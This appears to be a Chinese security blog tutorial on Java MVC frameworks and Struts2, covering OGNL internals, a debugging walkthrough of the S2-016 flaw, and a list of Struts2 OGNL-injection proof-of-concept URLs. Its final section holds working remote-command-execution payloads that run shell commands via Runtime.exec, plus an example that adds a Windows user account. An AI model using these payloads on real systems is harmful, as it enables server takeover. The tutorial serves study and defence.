攻擊JavaWeb應用————5、MVC安全

FLy_鵬程萬里發表於2018-05-18
注:這一節主要是消除很多人把JSP當作了JavaWeb的全部的誤解,瞭解MVC及其框架思想。MVC是用於組織程式碼用一種業務邏輯和資料顯示分離的方法,不管是Java的Struts2、SpringMVC還是PHP的ThinkPHP都爆出過高危的任意程式碼執行,本節重在讓更多的人瞭解MVC和MVC框架安全,由淺到深儘可能的照顧沒Java基礎的朋友。所謂攻擊JavaWeb,如果連JavaWeb是個什麼,有什麼特性都不知道,就算能用Struts刷再多的RANK又有何意義?還不如沏一杯清茶,讀一本好書,不浮躁,擼上一天。

0x00、初識MVC

傳統的開發存在結構混亂易用性差耦合度高可維護性差等多種問題,為了解決這些毛病分層思想和MVC框架就出現了。
MVC是三個單詞的縮寫,分別為: 模型(Model),檢視(View) 和控制(Controller)
MVC模式的目的就是實現Web系統的職能分工。

Model層實現系統中的業務邏輯,通常可以用JavaBean或EJB來實現。

View層用於與使用者的互動,通常用JSP來實現(前面有講到,JavaWeb專案中如果不採用JSP作為展現層完全可以沒有任何JSP檔案,甚至是過濾一切JSP請求,JEECMS是一個最為典型的案例)。

Controller層Model與View之間溝通的橋樑,它可以分派使用者的請求並選擇恰當的檢視用於顯示,同時它也可以解釋使用者的輸入並將它們對映為模型層可執行的操作。


Model1和Model2:

Model1主要是用JSP去處理來自客戶端的請求,所有的業務邏輯都在一個或者多個JSP頁面裡面完成,這種是最不科學的。舉例:http://localhost/show_user.jsp?id=2。JSP頁面獲取到引數id=2就會帶到資料庫去查詢資料庫當中id等於 2的使用者資料,由於這樣的實現方式雖然簡單,但是維護成本就非常高。JSP頁面跟邏輯業務都捆綁在一起高耦合了。而軟體開發的目標就是為了去解耦,讓程式之間的依賴性減小。在model1裡面SQL隱碼攻擊等攻擊簡直就是家常便飯。因為在頁面裡面頻繁的去處理各種業務會非常麻煩,更別說關注安全了。典型的Model1的程式碼就是之前用於演示的SQL隱碼攻擊的JSP頁面。

Model1的流程:


Model 2表示的是基於MVC模式的框架,JSP+Servlet。Model2已經帶有一定的分層思想了,即Jsp只做簡單的展現層,Servlet做後端的業務邏輯處理。這樣檢視和業務邏輯就相應的分開了。例如:http://localhost/ShowUserServlet?id=2。也就是說把請求交給Servlet處理,Servlet處理完成後再交給jsp或HTML做頁面展示。JSP頁面就不必要去關心你傳入的id=2是怎麼查詢出來的,而是怎麼樣去顯示id=2的使用者的資訊(多是用EL表示式或JSP指令碼做頁面展現)。檢視和邏輯分開的好處是可以更加清晰的去處理業務邏輯,這樣的出現安全問題的機率會相對降低。


Mvc框架存在的問題:

當Model1和Model2都難以滿足開發需求的時候,通用性的MVC框架也就產生了,模型檢視控制器,各司其責程式結構一目瞭然,業務安全相關控制井井有序,這便是MVC框架給我們帶來的好處,但是不幸的是由於MVC的框架的實現各自不同,某些東西因為其越來越強大,而衍生出來越來越多的安全問題,典型的由於安全問題處理不當造成近期無數網際網路站被黑闊攻擊的MVC框架便是Struts2。神器過於鋒利傷到自己也就在所難免了。而在Struts和Spring當中最喜歡被人用來挖0day的就是標籤和OGNL的安全處理問題了。

Spring Mvc:

Spring 框架提供了構建 Web應用程式的全功能 MVC 模組。使用 Spring 可插入的 MVC 架構,可以選擇是使用內建的 Spring Web 框架還是 Struts 這樣的 Web 框架。通過策略介面,Spring 框架是高度可配置的,而且包含多種檢視技術,例如 JavaServer Pages(JSP)技術、Velocity、Tiles、iText 和 POI、Freemarker。Spring MVC 框架並不知道使用的檢視,所以不會強迫您只使用 JSP 技術。Spring MVC 分離了控制器、模型物件、分派器以及處理程式物件的角色,這種分離讓它們更容易進行定製。

Struts2:

Struts是apache基金會jakarta專案組的一個開源專案,採用MVC模式,能夠很好的幫助我們提高開發web專案的效率。Struts主要採用了servlet和jsp技術來實現,把servlet、jsp、標籤庫等技術整合到整個框架中。Struts2比Struts1內部實現更加複雜,但是使用起來更加簡單,功能更加強大。

Struts2歷史版本下載地址:http://archive.apache.org/dist/struts/binaries/

官方網站是: http://struts.apache.org/

常見MVC比較:

按效能排序:1、Jsp+servlet>2、struts1>2、spring mvc>3、struts2+freemarker>>4、struts2,ognl,值棧。

開發效率上,基本正好相反。值得強調的是,Spring mvc開發效率和Struts2不相上下。

Struts2的效能低的原因是因為OGNL和值棧造成的。所以如果你的系統併發量高,可以使用freemaker進行顯示,而不是採用OGNL和值棧。這樣,在效能上會有相當大得提高。

而每一次Struts2的遠端程式碼執行的原因都是因為OGNL。

當前JavaWeb當中最為流行的MVC框架主要有Spring MVC和Struts。相比Struts2而言,SpringMVC具有更輕巧,更簡易,更安全等優點。但是由於SpringMVC歷史遠沒有Struts那麼悠久,SpringMVC想要在一朝一夕顛覆Struts1、2還是非常有困難的。

JavaWeb的Servlet和Filter:

可以說JavaWeb和PHP的實現有著本質的區別,PHP屬於解釋性語言.不需要在伺服器啟動的時候就通過一堆的配置去初始化apps而是在任意一個請求到達以後再去載入配置完成來自客戶端的請求。ASP和PHP有個非常大的共同點就是不需要預先編譯成類似Java的位元組碼檔案,所有的類方法都存在於*.PHP檔案當中。而在Java裡面可以在專案啟動時去載入配置到Servlet容器內。在web.xml裡面配置一個Servlet或者Filter後可以非常輕鬆的攔截、過濾來自於客戶端的任意字尾請求。在系列2的時候就有提到Servlet,這裡再重溫一下。

Servlet配置:
<servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>org.javaweb.servlet.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/servlet/LoginServlet.action</url-pattern>
</servlet-mapping>
Filter配置:

<filter>
    <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
Filter在JavaWeb當中用來做許可權控制再合適不過了,再也不用在每個頁面都去做session驗證了。假如過濾的url-pattern是/admin/*那麼所有URI中帶有admin的請求都必須經過如下Filter過濾:


Servlet和Filter一樣都可以攔截所有的URL的任意方式的請求。其中url-pattern可以是任意的URL也可以是諸如*.action萬用字元。既然能攔截任意請求如若要做引數和請求的淨化就會非常簡單了。servlet-name即標註一個Servlet名為LoginServlet它對應的Servlet所在的類是org.javaweb.servlet.LoginServlet.java。由此即可發散開來,比如如何在Java裡面實現通用的惡意請求(通用的SQL隱碼攻擊、XSS、CSRF、Struts2等攻擊)?敏感頁面越權訪問?(傳統的動態指令碼的方式實現是在每個頁面都去加session驗證非常繁瑣,有了filter過濾器,便可以非常輕鬆的去限制目錄許可權)。

上面貼出來的過濾器是Struts2的典型配置,StrutsPrepareAndExecuteFilter過濾了/*,即任意的URL請求也就是Struts2的第一個請求入口。任何一個Filter都必須去實現javax.servlet.Filter的Filter介面,即init、doFilter、destroy這三個介面,這裡就不細講了,有興趣的朋友自己下載JavaEE6的原始碼包看下。

public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter ( ServletRequest request, ServletResponse response, FilterChain chain 
) throws IOException, ServletException;
public void destroy();

TIPS:

在Eclipse裡面看一個介面有哪些實現,選中一個方法快捷鍵Ctrl+t就會列舉出當前介面的所有實現了。例如下圖我們可以輕易的看到當前專案下實現Filter介面的有如下介面,其中SecFilter是我自行實現的,StrutsPrepareAndExecuteFilter是Struts2實現的,這個實現是用於Struts2啟動和初始化的,下面會講到:


0x01、Struts概述

Struts1、Struts2、Webwork關係:

Struts1是第一個廣泛流行的mvc框架,使用及其廣泛。但是,隨著技術的發展,尤其是JSF、ajax等技術的興起,Struts1有點跟不上時代的步伐,以及他自己在設計上的一些硬傷,阻礙了他的發展。

同時,大量新的mvc框架漸漸大踏步發展,尤其是webwork。Webwork是opensymphony組織開發的。Webwork實現了更加優美的設計,更加強大而易用的功能。

後來,struts和webwork兩大社群決定合併兩個專案,完成struts2.事實上,struts2是以webwork為核心開發的,更加類似於webwork框架,跟struts1相差甚遠

STRUTS2框架內部流程:

1. 客戶端傳送請求的tomcat伺服器。伺服器接受,將HttpServletRequest傳進來。
2. 請求經過一系列過濾器(如:ActionContextCleanUp、SimeMesh等)
3. FilterDispatcher被呼叫。FilterDispatcher呼叫ActionMapper來決定這個請求是否要呼叫某個Action
4. ActionMapper決定呼叫某個ActionFilterDispatcher把請求交給ActionProxy
5. ActionProxy通過Configuration Manager檢視struts.xml,從而找到相應的Action類
6. ActionProxy建立一個ActionInvocation物件
7. ActionInvocation物件回撥Action的execute方法
8. Action執行完畢後,ActionInvocation根據返回的字串,找到對應的result。然後將Result內容通過HttpServletResponse
返回給伺服器。

SpringMVC框架內部流程

1.使用者傳送請求給伺服器。url:user.do
2.伺服器收到請求。發現DispatchServlet可以處理。於是呼叫DispatchServlet。
3.DispatchServlet內部,通過HandleMapping檢查這個url有沒有對應的Controller。如果有,則呼叫Controller。
4.Controller開始執行。
5.Controller執行完畢後,如果返回字串,則ViewResolver將字串轉化成相應的檢視物件;如果返回ModelAndView物件,該物件
本身就包含了檢視物件資訊。
6.DispatchServlet將執檢視物件中的資料,輸出給伺服器。
7.伺服器將資料輸出給客戶端。
在看完Struts2和SpringMVC的初始化方式之後不知道有沒有對MVC架構更加清晰的瞭解。

Struts2請求處理流程分析:


1、伺服器啟動的時候會自動去載入當前專案的web.xml
2、在載入web.xml配置的時候會去自動初始化Struts2的Filter,然後把所有的請求先交於Struts的
   org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.java類去做過濾處理。
3、而這個類只是一個普通的Filter方法通過呼叫Struts的各個配置去初始化。
4、初始化完成後一旦有action請求都會經過StrutsPrepareAndExecuteFilter的doFilter過濾。
5、doFilter中的ActionMapping去對映對應的Action。
6、ExecuteOperations


原始碼、配置和訪問截圖:


0x02、Struts2中ActionContext、ValueStack、Ognl


在學習Struts命令執行之前必須得知道什麼是OGNL、ActionContext、ValueStack。在前面已經強調過很多次容器的概念了。這地方不敢再扯遠了,不然就再也扯回不來了。大概理解:tomcat之類的是個大箱子,裡面裝了很多小箱子,小箱子裡面裝了很多小東西。而Struts2其實就是在把很多東西進行包裝,要取小東西的時候直接從struts2包裝好的箱子裡面去拿就行了。

ActionContext物件:

Struts1的Action必須依賴於web容器,他的extecute方法會自動獲得HttpServletRequest、HttpServletResponse物件,從而可以跟web容器進行互動。

Struts2的Action不用依賴於web容器,本身只是一個普通的java類而已。但是在web開發中我們往往需要獲得request、session、application等物件。這時候,可以通過ActionContext來處理。

ActionContext正如其名,是Action執行的上下文。他內部有個map屬性,它存放了Action執行時需要用到的物件。

在每次執行Action之前都會建立新的ActionContext物件,通過ActionContext獲取的session、request、application並不是真正的HttpServletRequest、HttpServletResponse、ServletContext物件,而是將這三個物件裡面的值重新包裝成了map物件。這樣的封裝,我們及獲取了我們需要的值,同時避免了跟Web容器直接打交道,實現了完全的解耦。

測試程式碼:

public class TestActionContextAction extends ActionSupport{
    private String uname;
    public String execute() throws Exception {
        ActionContext ac = ActionContext.getContext();
        System.out.println(ac);    //在此處定義斷點
        return this.SUCCESS;
    }
    //get和set方法省略!
}

我們設定斷點,debug進去,跟蹤ac物件的值。發現他有個table屬性,該屬性內部包含一個map屬性,該map中又有多個map屬性,他們分別是:

request、session、application、action、attr、parameters等。

同時,我們跟蹤request進去,發現屬性attribute又是一個table,再進去發現一個名字叫做”struts.valueStack”屬性。內容如下:


OgnlValueStack可以簡單看做List,裡面還放了Action物件的引用,通過它可以得到該Action物件的引用。

下圖說明了幾個物件的關係


1.  ActionContext、Action本身和HttpServletRequest物件沒有關係。但是為了能夠使用EL表示式、JSTL直接操作他們的屬性。會有一個攔截器將ActionContext、Action中的屬性通過類似request.setAttribute()方法置入request中(webwork2.1之前的做法)。這樣,我們也可以通過:${requestScope.uname}即可訪問到ActionContext和Action中的屬性。

注:struts2後,使用裝飾器模式來實現上述功能。

Action的例項,總是放到value stack中。因為Action放在stack中,而stack是root(根物件),所以對Action中的屬性的訪問就可以省略#標記。

獲取Web容器資訊:

在上面我GETSHELL或者是輸出回顯的時候就必須獲取到容器中的請求和響應物件。而在Struts2中通過ActionContext可以獲得session、request、application,但他們並不是真正的HttpServletRequest、HttpServletResponse、ServletContext物件,而是將這三個物件裡面的值重新包裝成了map物件。 Struts框架通過他們來和真正的web容器物件互動。

獲得session:ac.getSession().put("s", "ss");
獲得request:Map m = ac.get("request");
獲得application: ac.getApplication();

獲取HttpServletRequest、HttpServletResponse、ServletContext:

有時,我們需要真正的HttpServletRequest、HttpServletResponse、ServletContext物件,怎麼辦? 我們可以通過ServletActionContext類來得到相關物件,程式碼如下:

HttpServletRequest req = ServletActionContext.*getRequest*();
ServletActionContext.*getRequest*().getSession();
ServletActionContext.*getServletContext*();

Struts2 OGNL:

OGNL全稱是Object-Graph  Navigation  Language(物件圖形導航語言),Ognl同時也是Struts2預設的表示式語言。每一次Struts2的命令執行漏洞都是通過OGNL去執行的。在寫這文件之前,烏雲的drops已有可夠參考的Ognl文章了http://drops.wooyun.org/papers/340。這裡只是簡單提下。

1、能夠訪問物件的普通方法
2、能夠訪問類的靜態屬性和靜態方法
3、強大的操作集合類物件的能力
4、支援賦值操作和表示式串聯
5、訪問OGNL上下文和ActionContext
Ognl並不是Struts專用,我們一樣可以在普通的類裡面一樣可以使用Ognl,比如用Ognl去訪問一個普通物件中的屬性:


在上面已經列舉出了Ognl可以呼叫靜態方法,比如表示式使用表示式去呼叫runtime執行命令執行:

@[email protected]().exec('net user selina 123 /add')

而在Java當中靜態呼叫命令列的方式:

java.lang.Runtime.*getRuntime*().exec("net user selina 123 /add");

0x03、Struts漏洞


Struts2究竟是個什麼玩意,漏洞爆得跟來大姨媽紊亂似的,連續不斷。前面已經提到了由於Struts2預設使用的是OGNL表示式,而OGNL表示式有著訪問物件的普通方法和靜態方法的能力。開發者無視安全問題大量的使用Ognl表示式這正是導致Struts2漏洞源源不斷的根本原因。通過上面的DEMO應該差不多知道了Ognl執行方式,而Struts2的每一個命令執行後面都堅挺著一個或多個可以繞過補丁或是直接構造了一個可執行的Ognl表示式語句。

Struts2漏洞病例:

Struts2每次發版後都會release要麼是安全問題,要麼就是BUG修改。大的版本釋出過一下幾個。

1.3.x/                  2013-02-02 17:59    -    
2.0.x/                  2013-02-02 11:22    -    
2.1.x/                  2013-03-02 14:52    -    
2.2.x/                  2013-02-02 16:00    -    
2.3.x/                  2013-06-24 11:30    -

小版本釋出了不計其數,具體的小版本下載地址:http://archive.apache.org/dist/struts/binaries/

Struts公開的安全問題:

1、Remote code exploit on form validation error: http://struts.apache.org/release/2.3.x/docs/s2-001.html
2、Cross site scripting (XSS) vulnerability onandtags:
3、XWork ParameterInterceptors bypass allows OGNL statement execution:
        http://struts.apache.org/release/2.3.x/docs/s2-003.html
4、Directory traversal vulnerability while serving static content: 

        http://struts.apache.org/release/2.3.x/docs/s2-004.html
5、XWork ParameterInterceptors bypass allows remote command execution:
        http://struts.apache.org/release/2.3.x/docs/s2-005.html
6、Multiple Cross-Site Scripting (XSS) in XWork generated error pages:
        http://struts.apache.org/release/2.3.x/docs/s2-006.html

7、User input is evaluated as an OGNL expression when there's a conversion error:
        http://struts.apache.org/release/2.3.x/docs/s2-007.html
8、Multiple critical vulnerabilities in Struts2: http://struts.apache.org/release/2.3.x/docs/s2-008.html
9、ParameterInterceptor vulnerability allows remote command execution
        http://struts.apache.org/release/2.3.x/docs/s2-009.html

10、When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes: http://struts.apache.org/release/2.3.x/docs/s2-010.html

11、Long request parameter names might significantly promote the effectiveness of DOS attacks:
        http://struts.apache.org/release/2.3.x/docs/s2-011.html

12、Showcase app vulnerability allows remote command execution:
        http://struts.apache.org/release/2.3.x/docs/s2-012.html

13、A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution:
          http://struts.apache.org/release/2.3.x/docs/s2-013.html

14、A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks:
        http://struts.apache.org/release/2.3.x/docs/s2-014.html

15、A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.:
          http://struts.apache.org/release/2.3.x/docs/s2-015.html

16、A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution:
          http://struts.apache.org/release/2.3.x/docs/s2-016.html

18:A vulnerability introduced by manipulating parameters prefixed with "redirect:"/"redirectAction:" allows for open redirects:
          http://struts.apache.org/release/2.3.x/docs/s2-017.html

Struts2漏洞利用詳情:

S2-001-S2-004:http://www.inbreak.net/archives/161

S2-005:http://www.venustech.com.cn/NewsInfo/124/2802.Html

S2-006:http://www.venustech.com.cn/NewsInfo/124/10155.Html

S2-007:http://www.inbreak.net/archives/363

S2-008:http://www.exploit-db.com/exploits/18329/

http://www.inbreak.net/archives/481

S2-009:http://www.venustech.com.cn/NewsInfo/124/12466.Html

S2-010:http://xforce.iss.net/xforce/xfdb/78182

S2-011-S2-015:http://blog.csdn.net/wangyi_lin/article/details/9273903 http://www.inbreak.net/archives/487 http://www.inbreak.net/archives/507

S2-016-S2-017:http://www.iteye.com/news/28053#comments

吐槽一下:

從來沒有見過一個框架如此多的漏洞一個連官方修補沒怎麼用心的框架既有如此多的擁護者。大學和很多的培訓機構都把SSH(Spring、Struts2、Hibernate)奉為JavaEE缺一不可的神話。在政府和大型企業中使用JavaWeb的專案中SSH架構體現的更是無處不在。剛開始找工作的出去面試基本上都問:SSH會嗎?我們只招本科畢業精通SSH框架的。“?什麼?Struts2不會?啥?還不是本科學歷?很遺憾,我們公司更希望跟研究過SSH程式碼精通Struts MVC、Spring AOP DI OIC和Hibernate的人合作,您先回去等通知吧…… ”。多麼標準的面試失敗的結束語,我只想說:我去年買了個表!

在Struts2如此“權威”、“專制”統治下終於有一個比Struts2更輕盈、更精巧、更安全的框架開始逐漸的威脅著Struts神一樣的地位,It’s SpringMvc。

Struts2 Debug:

關於Struts2的漏洞分析網上已經鋪天蓋地了,因為一直做SpringMvc開發對Struts2並是怎麼關注。不過有了上面的鋪墊,分析下Struts2的邏輯並不難。這次就簡單的跟一下S2-016的命令執行吧。

Debug Tips:
F5:進入方法
F6:單步執行
F7:從當前方法中跳出,繼續往下執行。
F8:跳到下一個斷點。
其他:F3:進入方法內、Ctrl+alt+h檢視當前方法在哪些地方有呼叫到。

這裡還得從上面的Struts2的Filter說起,忘記了的回頭看上面的:Struts2請求處理流程分析。

在Struts2專案啟動的時候就也會去呼叫Ognl做初始化,啟動後一切的Struts2的請求都會先經過Struts2的StrutsPrepareAndExecuteFilter過濾器(在早期的Struts裡預設的是FilterDispatcher)。並從其doFilter開始處理具體的請求,完成Action對映和請求分發。

在Debug之前需要有Struts2的OGNL、Xwork還有Struts的程式碼。其中的xwork和Struts2的原始碼可以在Struts2\struts-2.3.14\src下找到。



Ognl的原始碼在opensymphony的官方網站可以直接下載到。需要安裝SVN客戶端checkout下原始碼。

http://code.google.com/p/opensymphony-ognl-backup/source/checkout

關聯上原始碼後可以在web.xml裡面找到StrutsPrepareAndExecuteFilter哪行配置,直接Ctrl+左鍵點進去(或者直接在StrutsPrepareAndExecuteFilter上按F3快速進入到這個類裡面去)。在StrutsPrepareAndExecuteFilter的77行行標處雙擊下就可以斷點了。


至於在Eclipse裡面怎麼去關聯原始碼就不多說了,按照eclipse提示找到原始碼所在的路徑就行了,實在不懂就百度一下。一個正常的Action請求一般情況下是不會報錯的。如:http://localhost/StrutsDemo/test.action請求處理成功。在這樣正常的請求中Ognl表示式找的是location。而注入Ognl表示式之後:

doFilter的前面幾行程式碼在做初始化,而第84行就開始對映action了。而最新的S2-016就是因為不當的處理action對映導致OGNL注入執行任意程式碼的。F5進入PrepareOperations的findActionMapping方法。在findActionMapping裡面會去呼叫先去獲取一個容器然後再去對映具體的action。通過Dispatcher物件(org.apache.struts2.dispatcher)去獲取Container。通過ActionMapper的實現類:org.apache.struts2.dispatcher.mapper.DefaultActionMapper呼叫getMapping方法,獲取mapping。


在311行的handleSpecialParameters(request, mapping);F5進入方法執行內部,這個方法在DefaultActionMapper類裡邊。


從請求當中獲取我們提交的惡意Ognl程式碼:


handleSpecialParameters方法呼叫parameterAction.execute(key, mapping);:


F5進入parameterAction.execute:


執行完成之後的mapping可以看到lication已經注入了我們的Ognl表示式了:


當mapping對映完成後,會回到DefaultActionMapper呼叫上面處理後的mapping解析ActionName。

return parseActionName(mapping)
這裡拿到的name自然是test了。因為我們訪問的只是test.action。不過在Struts2裡面還可以用test!show.action即呼叫test內的show方法。

parseNameAndNamespace(uri, mapping, configManager);
handleSpecialParameters(request, mapping);
return parseActionName(mapping);

parseActionName執行完成後回到之前的findActionMapping方法。然後把我們的mapping放到請求作用域裡邊,而mapping對應的鍵是:struts.actionMapping。此便完成了ActionMapping。那麼StrutsPrepareAndExecuteFilter類的doFilter過濾器中的84行的ActionMapping也就完成了。

並不是說action對映完成後就已經執行了Ognl表示式了,而是在StrutsPrepareAndExecuteFilter類第91行的execute.executeAction(request, response, mapping);執行完成後才會去執行我們的Ognl。

executeAction 在org.apache.struts2.dispatcher.ng的ExecuteOperations類。這個方法如下:

/**
     * Executes an action
     * @throws ServletException
     */
    public void executeAction(HttpServletRequest request, HttpServletResponse response, ActionMapping 
            mapping) throws ServletException {
        dispatcher.serviceAction(request, response, servletContext, mapping);
    }

Dispatcher應該是再熟悉不過了,因為剛才已經在dispatcher裡面轉悠了一圈回來。現在呼叫的是dispatcher的 serviceAction方法。

public void serviceAction(引數在上面executeAction太長了就不寫了):


Excute在excuteorg.apache.struts2.dispatcher.ServletRedirectResult類,具體方法如下:

public void execute(ActionInvocation invocation) throws Exception {
        if (anchor != null) {
            anchor = conditionalParse(anchor, invocation);
        }
        super.execute(invocation);
    }
    super.execute(org.apache.struts2.dispatcher.StrutsResultSupport)
即執行其父類的execute方法。上面的anchor為空。


重點就在translateVariables(翻譯變數的時候把我們的Ognl執行了)



Object result = parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
    return conv.convertValue(stack.getContext(), result, asType);
最終執行:

F8放過頁面輸出[/ok]:


解密Struts2的“神祕”的POC:

在S2-016出來之後Struts2以前的POC拿著也沒什麼用了,因為S2-016的威力已經大到讓百度、企鵝、京東叫喚了。挑幾個簡單的具有代表性的講下。在連續不斷的看了這麼多坑爹的概念以後不妨見識一下Struts2的常用POC。

回顯POC(快速檢測是否存在(有的s2版本無法輸出),看見輸出[/ok]就表示存在):

POC1:

http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context
[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\
[email protected]@EMPTY_SET')(c))&(g)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman.getWrit
er().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))

POC2(型別轉換漏洞需要把POC加在整型引數上):

http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@
[email protected]().getWriter().println(%22[/ok]%22))%2b'

POC3(需要注意這裡也必須是載入一個String(字串型別)的引數後面,使用的時候把URL裡面的兩個foo替換成目標引數(注意POC裡面還有個foo)):

http://127.0.0.1/Struts2/hello.action?foo=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20
new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true)
,@[email protected]().getWriter().println(%22[/ok]%22))&z[(foo)('meh')]=true

POC4:

http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMe
thodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,
%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22
[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email prote
cted]@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}

POC6:

http://127.0.0.1/Struts2/$%7B%23_memberAccess[%22allowStaticMethodAccess%22]=true,[email protected]@
getResponse().getWriter(),%23resp.println(%22[ok]%22),%23resp.close()%7D.action

POC7:

http://localhost/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.
HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}

@[email protected]().getWriter().println(%22[/ok]%22)其實是靜態呼叫ServletActionContext上面已經講過了ServletActionContext能夠拿到真正的HttpServletRequest、HttpServletResponse、ServletContext忘記了的回頭看去。拿到一個HttpServletResponse響應物件後就可以呼叫getWriter方法(返回的是PrintWriter)讓Servlet容器上輸出[/ok]了,而其他的POC也都做了同樣的事:拿到HttpServletResponse,然後輸出[/ok]。其中的allowStaticMethodAccess在Struts2裡面預設是false,也就是預設不允許靜態方法呼叫。

精確判斷是否存在(延遲判斷):

POC1:

http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context
[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\
[email protected]@EMPTY_SET')(c))&(d)(([email protected]@sleep(5000)')(d)) 

POC2:

http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,
@[email protected](5000))%2b' 

POC3:

http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]
%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.
Boolean%28true%29,@[email protected](5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true 

POC4:

http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.
denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess
%22%5d%3dtrue%2c[email protected](5000))(aa)&x[(class.classLoader.jarPath)('aa')] 

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,
@[email protected](5000)} 

POC6:

http://127.0.0.1/Struts2/${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@[email protected](5000)}.
action

之前很多的利用工具都是讓執行緒睡一段時間再去計算時間差來判斷漏洞是否存在。這樣比之前的回顯更靠譜,缺點就是慢。而實現這個POC的方法同樣是非常的簡單其實就是靜態呼叫java.lang.Thread.sleep(5000)就行了。而命令執行原理也是一樣的。

命令執行:

關於回顯:webStr\75new\40byte[100] 修改為合適的長度。

POC1:

http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context
[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\
[email protected]@EMPTY_SET')(c))&(g)(('\43req\[email protected]@getRequest()')(d))&(h)(('\43webRootzpro\
[email protected]@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\
40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&
(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)('\43webStr12\75new\40java.lang.String(\43
webStr)')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman\[email protected]
@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().
close()')(d))&cmd=cmd%20/c%20ipconfig 

POC2:

http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,
[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig 

POC3:

http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set

POC4:

http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,[email protected]@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an 

POC5:

